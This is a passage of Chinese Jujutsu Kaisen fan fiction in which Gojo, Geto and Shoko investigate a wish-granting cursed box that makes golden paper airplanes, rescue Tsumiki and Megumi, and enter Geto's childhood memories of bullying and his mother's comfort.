其实高桥的极力反对并不会真正成为阻止两人将患者带往高专的原因,更实际的问题是连接在患者身上的各种仪器设备。没有家长的同意医院不可能通过审批程序派出专业人员和医护车。
即便五条悟联系五条家去办,凌晨能接到电话的也只有加班的社畜以及五条家值班的侍女和护卫。
等他们上报到长老,再由一群看不起普通人生命的老家伙唇枪舌剑的否决后报给五条悟,再被五条悟嘲讽加武力威胁的打回去同意……
一圈圈绕下来黄花菜都凉了……
*
在去往高专的路上,夏油杰想起医院走廊上五条悟的话。
“你知道蜂后吗?蜂后是蜂群的生殖中心。”他厌恶的声音犹在耳畔,内容一回想起就让人几欲作呕。
“硝子的子宫被他们视为反转术式的培养皿。他们递上结婚拜帖,众多家族争利争得的头破血流,为实现共同繁荣,那群老古董竟‘忍辱负重’甘愿实行共妻制。”说话时五条悟满脸平静,眯起的猫眼仍然大大的,折射着日出的微光,显出神性的漠然。
“五条家要老子去当这个男妾,老子反手把五条家轰了个对穿。在老子的施压以及夜蛾的强烈反对下,他们退一步拿出了的算好的排卵期,以储备战略医疗物资为由要求硝子每月提供一定数量的卵子。”
“夜蛾老师说我不是机器,是咒术师可靠的后援伙伴,我应当去东京高专当医师。他压上了他的前途那我也不能后退。我转身与政府主动联系带来的变相威胁让他们心不甘情不愿的松了口。”硝子坐在龙头上一脸平静,温暖的晨光照耀过来,她如同被太阳授予了黄金的铠甲,整个人坚不可摧。
最后送进医院的患者清水三系某派高官,听闻死人已经死到高桥镇,此派马上向咒术界高层施压。那群烂橘子不仅把出任务的五条悟和夏油杰臭骂一顿,还忙不迭的把硝子送往医院。
夜蛾正道不放心高层下派的护送人员,把夏油杰叫了回来。于是两人分头行动,五条悟一个人前往竹山。
夏油杰心里不是滋味,高桥镇的父亲有一句话是对的,这是个钱权横行的世界,一个电话就外派硝子显得刚刚才内部否决这件事的两人又傻又呆。
家入硝子侧脸看着面色苍白的夏油杰:“蜂后离巢不会有好下场的。一但我在外活动,他们就有各种手段将我掳走,反正一切都可以推托给咒灵,实在不行还有一群可以背锅的诅咒师呢。”
“除了夜蛾老师我谁都不会信任,你们两个,我也不会将信任完全赋予。”
她这么说,声音很轻柔,却带着不容置疑的味道。
“硝子没有义务要相信我们,但悟有句话让我带给你——”
夏油杰看着她,紫色的眼睛在阳光下泛着微光,不含同情怜悯,只是诚恳而又坚定:“如果硝子想要自由,他会为你带来自由的。”
家入硝子定定看着他:“只是五条吗?”
夏油杰反应过来:“不,还有我,是我们。”
家入硝子略有些不自在的移开视线,看着太阳,半晌才下定决心:“若是敢把承诺当儿戏,我保证解刨报告会比你们的尸骨更早送到高专。”
天空已经完全明亮起来。夏油杰迎风眯眼:“我们是最强的,可以保障硝子的未来。”
20.“乌龟”术式二号
大阪竹丘,小岛宅。
五条悟看似凭借三寸不烂之舌,实际上脚卡门缝硬挤进去的操作获得宅子主人不情不愿地放行。
“金色的纸飞机?”五条悟对大人问的不走心,眼睛却直勾勾地盯着怯怯的小男孩。
高桥镇被那双神性冰凉的眼睛看的难受,“哇”的一声哭出来。
“呀哈哈~你以为老子不会哭吗?呜哇——”
眼前的少年容颜矜贵,身姿挺括,那一身气度完全不像普通人家能养出来的。此时却灵活的从上沙发滑落,屁股怼在地上撒泼打滚,嚎得比待宰的猪更为痛彻心扉、撕心裂肺。
一套连招打下来,震的男孩像只被掐住脖子的大鹅,打着嗝呆呆地看着他,连哭都忘记了。
五条悟却状若未闻的继续大嚎。他体力好肺活量大,往往很久都不需要换气,直把人嚎出心理阴影,负面情绪浓的可以诞生一只“五条悟去死”的咒灵。
小岛夫妇目瞪口呆,在人均内敛注重脸面的霓虹,这种人他们闻所未闻见所未见,直至今日藉儿子才大涨了眼界。
石田辉则是痛苦的那个,他捂脸扯了扯传说中冷漠矜傲的神子的袖子,没有哪一刻像现在这样思念过夏油杰,也没人告诉他五条家的少爷是这样的啊。
——吓不吓人放一边,丢人是真丢人啊!
“五条同学,你这样搞回头夏油同学会训你的。”
他倒是瞧出来了,面对那个黑发少年,堂堂神子端的是另一副嘴脸,嘴硬身软的不行——嘴上犟的要死,活却半点没少干。
也不管他是懒得辩驳还是真心认同,只要他愿意听此时就能救回石田辉岌岌可危的尊严。
果不其然,五条悟虽然嘴里嘟囔着“告黑状就弄死你”,但还是乖乖一骨碌从地上起来,拍拍屁股坐回沙发上。
石田辉表示——赞美夏油同学!
五条悟没趣地说:“嘁,真没默契。优等生才不会骂老子,老子地位可不一样了,现在老子可是大大滴债主!”
“好了,别闹了。”上一秒他还不着调的噘嘴,此时瞬间摆出正色的严肃模样。
石田辉保持微笑,有没有可能,只有你在闹呢……
“你是说你儿子靠一架会发光的纸飞机保住了小命?”
“是的。”小岛夫妇勉强收起黑脸,“在他昏迷的那一刻,那架飞机突然从他身体里掉了出来。”
“飞机呢?长什么样,是战斗机还是喷气式啊?”
“飞机消失了。我们本来觉得由纪是因为它昏迷的,但到医院那架飞机重新化作光粉飞回由纪的身体后,我们就知道许愿灵验了。飞机是来帮由纪挡劫的。”
“这件事情太古怪了,”小岛先生接着夫人的话道,“我们怕别人知道后把由纪当作怪物,更怕由纪的特殊之处引人注意招来灾祸。”
若非见过神异之事,即便五条悟展现的如何不似常人,或者旁边的辅助监督如何苦口婆心,拿出怎样的证件,他们也是不会坦言交代的。
“但没想到还是被护士盯上了,听说你们把人送去警局了,挺好的。”五条悟哼着调子站起身,顺手顺走了桌上的棒棒糖,“老子大致知道始末了,这个就当感谢吧。”
“不行!那个是限量版皮卡丘棒棒糖,我排了好久的队才抢到的!”
高桥镇急得顾不上怕了,从父母身后窜出去要攀五条悟的手臂。
五条悟觑了他一眼,把糖往前伸了伸像是良心发现要还回去,待小孩伸手以为迎来希望时一个大转弯抡回,“嗷呜”一口咬掉大半。
“别白费力气啦,老子有两个半你那么高,小·矮·砸~”
“呜呜呜呜呜——”
“哼~哼~哼~哼——”
五岁小孩嚎啕大哭,十七岁大孩眉飞哼曲。
*
“唉——眼神正常多了嘛。老子还以为眯眯眼会扑倒硝子姐姐怀里求安慰呢。”
夏油杰嘴角抽了抽,皮笑肉不笑‘呵呵’两声:“别贫了,查出什么了?”
“老子为此专门联系了五条家呢。”
五条悟暗示,在线求表扬ing。
看着少年眉飞色舞的神情夏油杰熟练顺毛撸,做出愿意追加甜品贷的表示后,五条悟公主满意的娓娓道来。
千年之前的咒术师和林利用自己的术式吸取转化夢魔的造梦能力将其融入进一只半成品咒具,铸成了“琥珀记忆匣”,作为礼物送给自己的女儿。
传说琥珀记忆匣拥有实现一切愿望的能力,实则号称“百灵百验”神器的记忆匣,其机制只是吸取过往妨碍人心的记忆转而赋作美梦
——诸般祈愿,梦中圆满。
“或许因和林守护女儿的执念过强,在他逝世后记忆匣有了庇护儿童的神奇功效,它也因此成为了一件只对儿童有用的特殊咒具。小鸟被夢魔打上标记,随后幸运的向记忆匣许愿,庇护之力将咒印抵消掉了。”
夏油杰听懂了:“记忆匣只是一件儿童玩具,陷入美梦后只要归还噩梦即可。他误打误撞算是虚惊一场了。”
“那个藤原就倒霉了,还在那躺着呢。这么算来只要捏碎他的飞机,再等硝子治疗出来这事就完了吧。”五条悟长腿伸展,“任务结束咱们带硝子出去玩吧!出来几天,老子感觉自己都老了。”
夏油杰闻言呼噜了一把他的脑袋,还是一如既往的油光水滑。
“先回收一下咒具吧,”夏油杰看着五条悟耷下的脸轻哄道,“来都来了,回去我烤饼干给你补补。”
五条悟眉头一挑:“哟,你还会做饭?”
“嗯,妈妈很爱吃我烤的黄油曲奇。回头你那一份单独做,我给你放三倍糖。”
五条悟愉快的哼着小调应了下来,甚至心情颇好的主动加班:“藤原诚的纸飞机估计在慈心孤儿院了。”
夏油杰惊奇的看他一眼。
对方解释:“窗的消息送来了,高桥家就算了,都第三天了受害者的过往和行踪才收拾全,真是没用啊。”
“慈心孤儿院?这个名字有点耳熟。”
这并非毫无根据的附和语,夏油杰总觉得自己在哪里听过。但话又说回,拜幻视所赐,他不止一次有过这种既视感了。
具体表现在开学那天明明只听过大致位置的他可以准确指出去往高专的路,知道学校
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各个建筑的分布,没去过的甜品店但每次带回的伴手礼都是最符合五条悟胃口的款式。
也许我应该深入拜读弗洛伊德的《梦的解析》?他愉快的将其列入自己的学习计划。
“我们等硝子一起去吧。但理子妹妹不知道去哪了,我有点担心。”
“我在这里。”
天内理子从拐弯处走来,风尘仆仆的模样。
“我刚刚回了学校一趟,利用特权把老师革职了。”她淡淡的,像昨天谈论点什么外卖一样的轻描淡写。
夏油杰惊诧的看着她,五条悟倒是一如既往的平静。
夏油杰道:“你又双叒知道了?”
——又双叒不告诉我?!你给我等着!
天内理子自顾自的说:“佳子明明出现了抑郁倾向,新出却为了评职和奖金把她劝下留校学习,佳子的死总有她一份的。”
这下子,夏油杰猛然想起还在病房救人的硝子,不由得心里有些紧张。
“不能救佳子美子不是家入小姐的错。”天内撇了他一眼。
夏油杰讪讪道:“你已经知道了?”
“虽不知细节,但家入小姐大抵是有她的难处。若是她都有错,那么我才是应当千刀万剐的那个吧。”天内理子双手插兜低着眼帘,声音平静到诡异的地步。
“我只是憎恨咒术界而已。”她下了定论,“他们看不起普通人,所以普通人的生死无足轻重;他们敛财贪权,所以会对高官权贵低头;他们蔑视我又需要我,所以再无足轻重的地方满足我,在触犯利益的时候剥削我,禁锢我。”
“这太恶心了。”她挑眉轻叹道,有几分憎恶,又有几分轻佻蔑视。
“你觉醒术式了?”
五条悟打量她片刻,冷不丁的问。
“嗯,”天内理子承认了,“或许是被死忘刺激,恐惧、憎恶、愧疚满溢,像拔酒塞一样,“啵”的一声就有了。”
“术式‘藏锋’,以接近于无的咒力换取概念上的绝对隐匿。可笑吧,无论是面对同化还是夢魔,我一直试图逃避,现在连觉醒的术式都只是个没用的乌龟壳。”
夏油杰安慰她:“话不能这么说,你看他,”他把五条悟搡着往前几步,“他还不是一样的,比你的乌龟还乌龟,照样很强。”
天内理子与五条悟二人皆面无表情看着他。
他咳了两声道:“所以你来找我们,是决心叛逃了?”夏油杰嗅到了一丝不同寻常的气味,若有所觉问她。
后面静立的黑井美里这才道:“我知道二位的品性,想寻求你们的帮助。”
天内理子恳切看着他们:“我想逃离他们定下的命运。”
“不错的决心,重点是眼光不错。这个优等生前天还说大不了为你打上总监部呢。”
我那天不是这么说的吧?
夏油杰无语凝噎,他总算确定天内理子莫名其妙的仇恨值打哪来了。
“总之,这件事交给我们好了。”
“天天发宏愿,真热血啊。”
调侃亲切的女声传来,两人转过身去。
“硝子。”
“硝子!”
21.夏油杰的童年(三合一,更新+补更)
慈心孤儿院坐落于北新宿区,这里的商业氛围不算浓厚,却满地的人间烟火气息。
常有仁爱之士捐赠这里,顺带拍几张彰显高尚人格的照片;被派下实践任务的学校也常以这个地方作为完成kpi的不二之选。
伏黑津美纪不同,她完全出于本能的善意,常来这里陪孤儿院的小孩做游戏。
可惜天公不作美,报应它总是晕头转向,走岔路落到好人头上。
伏黑惠在家里没见到人,敲响隔壁的房门也无人应答,于是照邻居家姐姐的习惯揪着黄昏的尾巴摸到了这里。
孤儿院与医院、学校等地在他眼里向来划为一列,都足以令他敬而远之。慈心却像是有点说法在身上,这里像孙悟空抡着金箍棒单独划出的金圈,横陈在北新宿的一脚,干净的独立一派。
——即没有作呕的丑陋情绪,也没有令人瑟瑟发抖的诡异怪物。
伏黑惠望着高高的院墙绷紧小脸,他将身上的背包安置在院墙隐蔽的一脚,丈着头身纤细从铁闸门的缝隙间穿过去。
先是按惯常转到操场,眯着眼眺望一圈没什么人影,而后晃到活动室,还是一个人也没有。
这里空旷安静到诡异了,他后知后觉。
忽而,余光里有什么东西一闪一闪的,但又不像反光的铁瓶盖一类刺的眼睛生疼。
他踩着小步子踏进及肩高的绿草坪,津美纪就双手交叠躺在那里,入梦酣然。
孤儿院常年人手不足,活动室廊外的杂草啃食大地的血肉疯长到半人高。被压倒的草垫在身下,有些扎人但胜在轻盈,她周边的草沾亲带故的歪斜,四四方方聚拢掩盖,小小的女孩躺在那里便如同躺进一架绿色的棺椁,连棺板都绿油油的,轻柔而不野蛮。
陪葬品躺在一旁,是两架飞机,如同黄金灌注熔铸成的。边边角角都流转着华美光晕,细细的颗粒微微凸起,看着像是磨砂的材质。
“津美纪!快醒醒,津美纪!”
伏黑惠焦急地摇着她的肩膀呼喊,津美纪却砸巴着侧过去怎么也醒不来。
天空霎时黑了下来,伏黑惠抬头望去,穹顶如墨,被黑色厚厚的壁障牢牢围住。局部偶尔泛开荡漾的水波纹,在伏黑惠眼里那更像一只又一只蠕动堆叠着的虫子。
在森林里,如果一个地方缺少活动的生命体,要么是这个地方过度贫瘠缺乏生存资源,要么是……
伏黑惠呼吸一窒,冷汗刷的下来。他着急地用背将女孩顶起,摇摇晃晃半背半拖的想逃离这个令他惴惴不安之地。
没成想一个眨眼,自己就被提溜到了半空。见背上滑下去的女孩被一个扎着丸子头的少年接住,他还没来得及微松口气便憋红了脸——被拽住领子悬空晃荡的感觉并不好受。
“是谁?!我没钱!你们想勒索我可以把爸爸的电话住址给你们,他是个弱鸡但挺有钱的,你们可以去打劫他!”
一双小短腿急得在空中乱蹬,抓住他的白发少年一脸嫌弃的把人提远一些。
“你爸知道你这么孝顺吗?”
像是感受到来者没有恶意,伏黑惠鼓着脸不想理会他。
“不是清场了吗?怎么还有小孩在这?”清亮的女声问道。
“一看就是偷摸进来的,悟,先把他放下来吧。”
温和的少年音很好听,说出的人话让男孩觉得更好听。
“不要,”奈何抓住他的是个混蛋,五条悟他头顶来回扇动,掌风带起刺棱的海胆头左倒□□,“杰,你看他像不像把扫帚。”
夏油杰噗嗤一笑赞同道:“确实有点像黑井的咒具。”
“哇啊啊啊啊!”
五条悟突发奇想,将人高高抛起倒了个边拽住脚腕。伏黑惠紧闭着眼惊叫出声,再睁眼看到的便是蓝色的球鞋和面前一堆堆有毛刺的扎人的草。
要不是没正对着人,伏黑惠恼地高低要不择手段攻击某薄弱点,叫人瞧瞧他的厉害。
对小孩来说过肩的草堪堪只到他的膝处,五条悟可瞧不见整张脸埋进草堆的男孩冒火的眼和杀人的心。他玩溜溜球一样握着脚上上下下,“你们说他的头发能不能用来扫地呀?”
伏黑惠闻言怒火更胜,他不管不顾的把自己甩起来,以一个腰身扭曲的姿势攀住他的小腿肚,嗷呜了一口咬了下去。
“嗷——!”
五条悟发出开水烫猪猪都叫不出来的分贝,他一下松了手就要去拽住对方咬回去。
“悟!嘴下留人!”
“人渣!对小孩子温柔一点啊!”
两人惊叫着扑上去,一人拽猫一人拽崽。家入硝子把男孩滑到胸前的衣服整理好怒骂道:“和小孩子过不去,五条你好歹有点下限吧!”
“硝子~~”
五条悟抱着腿肚,睁着水润的大眼睛无辜又委屈的看着她,里面夹杂着三分不可置信三分我要闹了以及四分希冀的暗示。
“住脸!”家入硝子抬起左臂,嫌弃的撇过脸,“你这招也只对夏油有用了,别指望我帮你愈合!”
五条悟委屈的吸了吸鼻子望向夏油杰:“杰~你看她!”
伏黑惠捂着嘴蹲在一边,刚止住的呕吐欲现下闻言又一发不可收拾的涌了上来。
他登登登的跑到白发少年身前蹲下,掀起他没抱住的那只腿的裤脚,报复性的把脸往里一探:
“呕!哕!”
“哇啊啊啊啊啊!”
夏油杰缩头捂住耳朵,抱住他胳膊的猫顺势吊在上面,腿吸到胸前缩成一团。
白发少年把脸埋进他的脖子,夏油杰捂耳的手与肩刚好围成一个密闭的圈,勉强能容纳一只肥猫的巴掌脸。
五条悟惊魂未定的挂着:“这可是老子的限量版球鞋!幸好没吐到上面,要不然你可惨了!”
限量版?
伏黑惠蠢蠢欲动,他觉得自己酝酿一下还是可以吐出来的。
夏油杰安慰的拍拍五条悟的脑袋,拖着不肯松手的猫去拾起飞机。
见在他有上前的架势,伏黑惠挡在津美纪身前警惕地看着他。
夏油杰顿了顿:“不要害怕,我们不是坏人。”
气氛一时冷寂。
硝子哼哼两声:“刚把人家拎起来玩弄,现在又想把他哄回来。呵!”
好嘲讽啊,硝子。
夏油杰有些尴尬的摸了把汗,诚恳道:“我们真不是坏人,就算是为了你的姐姐,也请相信我们。”
想着唤不醒的津美纪,伏黑惠定定看着他们像在审视。夏油杰坦坦荡荡,五条悟龟龟缩缩。小男孩抿嘴不情不愿,让开一道口子。
“这就是过往记忆结成的飞机?噩梦竟然结出的是金色的。”
家入硝子凑进看了看,不可思议的惊叹。
“毕竟是给女儿的玩具,送只咒灵也要给它打扮一下穿上芭比粉的娃娃衣才行吧。”
五条悟分辨一下将其中一只丢给伏黑惠:“这是你姐姐的,捏碎就可以让她醒过来了。”
“等等,悟。”夏油杰拦道,“捏碎它会承受记忆的倒灌,不如让我来吧。”
已经来不及了——伏黑惠已经毫不犹豫,一把捏碎,瞬息便倒伏在女孩身上。
几人面面相觑,硝子皱眉注入一点咒力,确信没有危险才问道:“好了,现在在场的是两个人渣和两个昏迷人员了,现在怎么办?”
夏油杰无奈道:“悟就去回收记忆匣吧。另一架飞机……”
他本想自己上,但看着倒地的两个孩子又看了看香饽饽硝子,犹豫一下道:“我不能失去战力,只能辛苦一下硝子了。”
“不要嘛杰,悟酱想和你一起!”五条悟挂在自己的猫爬架上黏黏糊糊撒娇。
家入硝子捂着胃转身,为了自己的眼睛和食管,她闭上眼睛捂住耳朵,恨不得出家马上修得六根清净。
好脾气高忍耐的夏油杰也消受不了,被他激起一身鸡皮疙瘩。他像撸肉串样把猫撸下去核善笑道:“你的三倍糖黄油小饼干——”
五条悟“嘁”了声,驼着背甩着手哼哼唧唧的干活去了。
夏油杰高声提醒:“别大意,警惕一点!”
他有气无力地摆了摆手,示意自己知道了。
家入硝子这才接过飞机一把捏碎。
见她走着醉步,步伐乱套,摇摇晃晃,夏油杰赶忙去接。
跳探戈一样,他往右,硝子往左倒;夏油杰往左,她又水灵灵拐到右边。闭着眼睛全凭本能,却每一下都精准避开男同学有些无措的手。最后转了半圈,哐当一下栽倒在伏黑惠身上。
夏油杰看着叠叠乐的三人哭笑不得,他一手硝子,一手津美纪,咯吱窝里还夹了个惠,有一个算一个的把他们搬到廊上去。
望着即将下班的太阳,他摸出手机播出母亲的号码。
半晌,未通。改到短信界面发出一条讯息:
妈妈,你很久之前听别人说许愿很灵的那个东西叫什么?
*
这边岁月静好,那边的五条悟蹲在咒具残骸前,指尖拨弄着被暴力拆解的匣子碎片。
“什么嘛,就这?”他撇撇嘴扫过凌乱一地的部件——最普通的木头与金属零件,完全凭借普通工艺制成的匣子,能够成为一件咒具全然是因为制造者的特殊术式。
唯一奇怪的是匣子内部铺着一张薄如蝉翼的金纸,在微暗的天色下微微泛光。
“杰那家伙还说什么‘谨慎处理’,结果根本没什么特别嘛。”
他捏起那张金纸,对着自动亮起的壁灯抖了抖。依旧是不光滑的凹凸纸面,但很平直,没有任何折痕。
五条悟随手甩了甩,纸张却突然活了过来,从他指缝划走,轻飘飘越过数重屋脊墙沿向远处飞去——
“嗯?”五条悟挑眉,他轻盈跃起,踏着房顶追去。
夏油杰正坐下廊下扇蚊子,一时不察,硝子的眼皮上已经鼓起了一个大包,肿的她眼皮掀起,微微露出一点眼白来。
他有些心虚的亡羊补牢,将薄外套脱下盖在她的脸上。
“杰!小心——”
那张纸在碰到夏油杰的瞬间便在半空中自动折叠、翻折,眨眼间变成一架精巧的尖角飞机。
飞机轻巧擦过夏油杰的脸侧,坠在后面的五条悟想要阻止已经来不及了。
下一秒,夏油杰的身体猛的僵住,整个人像是被抽走魂魄般软软向后倒去。
“喂——!”
五条悟一步跨过地上的三人伸手捞住他,怀里的少年呼吸绵长,已经陷入某个香甜的深沉梦境。
“搞什么啊……”五条悟皱眉,六眼迅速分析情况——这张纸原本只是纯粹的愿力,在碰到杰时却沾染了他的气息?
“不管了!一时半会的事而已!”他吸过飞机,轻轻摩挲砂纸一样却触手光滑的纸面,“反正只要把它捏碎人就回来了。”
他毫不犹豫一捏——
纸飞机脆的像薯片,裂纹嘎吱蔓延在掌心碎裂,化做细细的金粉消散。
五条悟的视野骤然扭曲。
——无数陌生的记忆如一叠一叠巨浪,连绵打来。
*
【他们用手一指,告诉我:“”嘿!世界就是这个形状。”
我顺着望去,世界是在平面上向四周溢开的水,不规则的轮廓像是显微镜下的病菌。
——我的星球正在崩毁,而妈妈对此也无能为力。】
这是……杰的心声?
当五条悟再次睁眼,世界在下雨。
淅淅沥沥,密密麻麻,很难抖落的潮湿。
他环顾四周,自己正站在一条老旧小街上,街边的音响播着十几年前流行的乐曲。
在小街尽头,一个小男孩顶着书包冒雨跑来。
小男孩大概五六岁的年纪,抿起的嘴很秀气,脸颊还带着圆润的弧度。留着的妹妹头被雨水打的一绺一绺,发梢软趴趴黏在脸上。
“嘿!”五条悟两腿迈到最大跟了上去,“下雨啦!下雨啦! !你能不能快点,老子走的都比你快。”
他一步一个晾衣杆的距离,仗着小朋友看不到自得不已,甚至弯腰贱兮兮去比划他的眼间距:“你这个时候眼睛还蛮大的嘛,是不是以后电子产品玩多了老是眯眼睛,眯着眯着就成眯眯眼了?”
说着说着,他把自己哄开心了,哈哈大笑起来。
后面传来风声,两个举着雨伞的小孩笑哈哈拿着晾衣杆追在后面。
他们手中的晾衣杆旋到最长,比五条悟两脚间那根还长一点,轻易戳的年幼的小杰不住尖叫逃窜。
五条悟的笑凝在脸上,翘起的嘴角慢慢收回,他皱着脸在小屁孩身前左勾拳又右勾拳。
“怪物!你妈妈昨天又去学校发疯了,害得我爸妈请假去学校骂我!”
“我妈说你爸老是给你求符咒,你肯定是个霉星,看我这个大英雄怎么好好惩戒你。”
“呜呜呜——我没要骗人!我不是怪物!不要追我了……”
小小的孩子单薄的身躯被雨淋的、被人戳的不住抖颤。小杰哭腔着下意识反驳,不一会又哀哀求到。
“杰!打他们,打回去!”
五条悟催促呼喊。
幼童只是咬着腮帮子加快步伐,受伤的小兽只想快快跑回温暖的巢穴,将自己的皮毛晾晒干。
“妈妈,我不是怪物,妈妈——”
一切像是电影,有旁白有光影,五条悟拔足狂奔也只是站在幕布外的人
——进入不了他的世界。
女人疲惫的坐在沙发上,鼻涕眼泪胡做一团抹晕了妆容也挡不住她姣好的面容。这位生性要强的母亲从来没有在自己的孩子面前这样狼狈脆弱过。
她全身无力瘫坐着,看见狼狈湿漉的儿子,她快步蹒跚冲上去把他抱紧怀里。
一直压抑的小杰终于大哭起来“:呜呜呜,妈妈,妈妈,妈妈——”
他含混叫着“怪物”“害怕”“小心”之类的,叫的最多的是“妈妈”。可能是喘不过气了,他逐渐放弃了其他词汇,只是一直叫唤着妈妈。
可是母亲无法一直庇护他,母亲有母亲的无奈。她的力气只够举起一把宽宽的地摊伞,护着狭狭的一方天地,无法让全世界的风雨都绕过她小小的孩子。
“小杰,听话,听话好吗!我们再去一次医院,我们去看看医生,开点药……吃点药就好了!”
她这么说着……她只能这么想着,只能这么指望着。
她的孩子太年幼了,他还不知道一切意味着什么。他该怎么成长,这么快乐呢?难道要让他从一开始就失去融入的权力,失去平凡的权力,失去幸福的权力吗?
“妈妈,妈妈……呜呜呜呜呜——”
男孩埋在她的怀里哭的背气,宣泄着自己的恐惧与委屈。除了哭没有别的办法,他说不出别的话来。
上林美和也留着泪,但她没有哭出声来。矮矮的母亲弓着背将她子小小的孩揽在膝上,哼起沙哑的摇篮曲,抱婴儿一样抱着他,一如既往。
——像过去的每一次一样,他怕了,累了、委屈了都能躲进母亲的怀抱。
“因为能看到‘怪物’,所以被当成‘怪物’对待了吗?”
五条悟在一旁看着,有些好笑。只可惜夏油杰不知道,知道了两人怕是可以胡天胡地地一起破口大骂。
因为……五条悟也算是这样长大的。
“呐,等醒过来,真正的大英雄五条悟带你打回去怎么样?”
无法触摸但可以靠近,他蹲下来,将手停在男孩一颤一颤的发顶。
夏油杰眨着迷蒙的眼睛,嘤咛一声,彻底睡去。
少年轻轻哼笑,“五条大人听见了,当你答应了哦。”
……
画面渐渐淡出,银幕闪了闪,下一帧才渐渐淡入。
【一切是真实的,海浪却愈打愈汹。我抬头望去,除了海还是海,我急切的想找到一个锚点,不管什么也好!只要让我不再四处飘荡。】
心声褪去了些许尖锐,变得成熟一些。
雨下的更大了,世界都快要被浸没,夏油杰的记忆就在蒸腾的水汽和升起的水面上摇晃。
明明灭灭的,五条悟纵有六眼也无法在记忆之海里将一切打捞。
一切终于稳定,他睁开了眼睛。
夏油杰升到小学了,这几年里,他在母亲的指导下成为了一个优秀的模仿者,在学校的处境也比曾经好了太多。
此时六七岁的孩子兴高采烈的从门外冲进来。
“冲田!大山!”
“夏油,我们今天不想玩英雄打恶鬼的游戏。”
冲田摆弄着手里的奥特曼不情愿的说。
“不是啦,不是啦,”小杰连忙摆手,气喘吁吁,“我给你们看个东西!”
“出来吧!小黑!”
他伸出双手,指尖勾起,一顿操作下来在冲田和大山眼中依旧是夏油杰的英雄瘾泛了。
“什么啊!都说了今天不想玩这个!”
夏油杰急忙道,“不是的!小黑,去把奥特曼拿起来!”
这样就会有人相信我了吧!
冲田刚要不屑的撇嘴,手上却真的传来一阵拉力。
奥特曼飘起来了!
“哇哦!”
“也太厉害了吧!”
“是魔术吗?教教我们吧,夏油!”
这里的动静把班上其他人也吸引了过来,众人纷纷惊叹的围拢。
“不是魔术,是小黑!”夏油杰骄傲的指向冲田的后面,“它就站在那呢!”
同学们顺着他的指尖看过去,兴致缺缺收回目光。
“什么啊!不要再开玩笑了夏油!”
冲田不满的说。
“我没有开玩笑,就是小黑,它就在那呢!”
还是什么也没有,看着夏油杰言之凿凿的模样,冲田不由得抖了抖。脖颈出吹来阵阵凉风,鸡皮疙瘩起了一身,仿佛真的有什么不可说的存在站在自己身后。
大山气恼了,“你们不要再和他们玩了,我妈妈说了,夏油杰是被诅咒的孩子!是个扫把星!!你们和他玩会倒大霉的!!”
“不是的,不是的!我才不是扫把星,我可以证明,小黑……”
“啊啊啊啊,真的有鬼啊!”
“呜呜呜,扫把飞起来了!它追着我!”
小小的夏油杰惊慌失措又绝望万分,他站在原地,终于忍不住含着一泡泪转身拔腿狂奔。他越跑越快,越跑越快,路上的面孔模糊,声音失真,一切都被他抛到身后。
“妖怪崽子!”
“我好害怕,离我远点!”
“这孩子,建议你们带他去看看精神科,再去寺庙……”
嗡——
一阵头晕目眩的电音传来,混杂其中的只有男孩沉重的喘息。
夏油杰脚下分明的路又开始模糊不清。他的步子渐渐慢下来,只能透过朦胧的眼泪仔细分辨每一个岔口。
巨浪袭来,将一切冲散。海面泛起泡沫,每个泡沫都偷走一点声音,五条悟耳边响起清晰的童声。
“一切都是真的,我确信着。但全世界都在不容置喙地劝我回头,我渐渐分不清这些。”
六七岁的夏油杰扶地,坐在了他的身边:“社会里,人类必须得言行趋同。这让我愈模仿,愈像个自言自语的异类。”
五条悟摘下墨镜,奇异的看着他:“能不能用五六岁的口吻和老子说话,你这家伙ooc了哦。”
“好嘛好嘛,satoru。”男孩有些无奈。
他看着满天的泡沫招招手,引来期中一颗。气泡破裂,心不甘情不愿的将咽下的秘密吐出来。
轻柔的女声回荡在这片天地,抚平岌岌可危欲将倾覆的大海。
“不要怕小杰,还记得小智吗?你和他一样都是被选中的人哦,你要勇敢起来!”
男孩眼里泛起复杂的情绪。有点难过,有点愧疚,更多的是怀念,密密麻麻的,全是与年龄不符的心绪。
“妈妈要强、独立、传统,她很坚韧,像全世界的母亲一样充满爱意。她不再强迫我去看精神科医生,而是一面为我满世界调查一面用动漫来安慰我。”
夏油杰的眼神温柔到哀伤:“她以前从来不看动漫的。”
“不知者不怪,这是妈妈告诉我的。从那天起,我告诉自己——我是被选中的,我和他们不一样,强者是该守护弱者的,否则一切将毫无意义。”
“你找到了你的锚点。”五条悟笃定。
“是的,我找到了。”
男孩轻轻哼笑着。
“维系这里的咒力不多了,正好,这也是最后一段回忆了。”
他指向前方,顿了顿,又换了个方向。
远处的海面鼓动,仿佛下一刻就会跃出一头喷水的鲸鱼。
*
夏油杰睁开眼睛,他正站在小学教室的门口。
都提醒他要谨慎一些了,这个不靠谱的——他的的黄油小饼干是无糖的了!
他在心中宣布。
不过——夏油杰四处看了看,按照机制来讲,分给他的应当是美梦。
阳光透过玻璃窗洒进来,空气中飘着粉笔灰的味道。
表演完奥特曼漂浮术的夏油杰被孩子们当做了小智般的人物,清脆的笑声阵阵传来,像是被风拉响的风铃。
没有窃窃私语,没有恐惧,没有躲闪,甚至没有异样的眼光。
“果然啊,”夏油杰轻叹。
他放松下来准备安心等待五条悟拉他离开,突然,他意识到一个很严重的问题。
已知,琥珀记忆匣的机制是吸取噩梦换取美梦。
又已知,噩梦是过去的真实记忆所化,而他现在在做一场美梦。
那么可得……我去!自己的过往不就全部曝露到五条悟面前了吗?!我去,我去,我去! !
夏油杰抓乱头发破了大防,整个人羞愤欲死到几乎原地炸裂,恨不得马上以头抢地撞死在这里。
什么美梦,这纯纯是一场的噩梦吧!
老天爷!破老天!!可逮着我作弄! !这两三天的,他想死的次数比过去几十年加起来还要多!
“杰!过来玩啊!”
这边阴雨连绵到要长蘑菇发霉,那边阳光灿烂的笑声朗朗。
几个孩子嘻嘻哈哈走过来,将夏油杰从羞窘中拉出来,拖到阳光下面。
夏油杰一怔,有些踌躇。指尖的温热不似作假,烫的人心熨帖,心中的褶皱都要被捋平了。
——但这应该是……应该是属于十年前的夏油杰的。
现在的夏油杰—
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—
“杰,你扔飞机扔的最远了!”冲田期望的把折好的飞机递给他。
他接过去,面色复杂的看着它。
“杰?”有人拍了拍他的小腿。
他低头,看到一张熟悉的小脸——是小时候的自己。
“你在做什么?”小夏油杰歪着头问。
他和自己真不一样,眼神清澈,没有阴霾。
“我在等人。”他听见自己说。
“喔,那我陪你等吧。”小杰蹲到他的身边,“你们约的几点啊?”
“不知道。”
“那约的什么地方?”
“不知道。”
小杰惊讶地仰头看他:“那你怎么等的到他?”
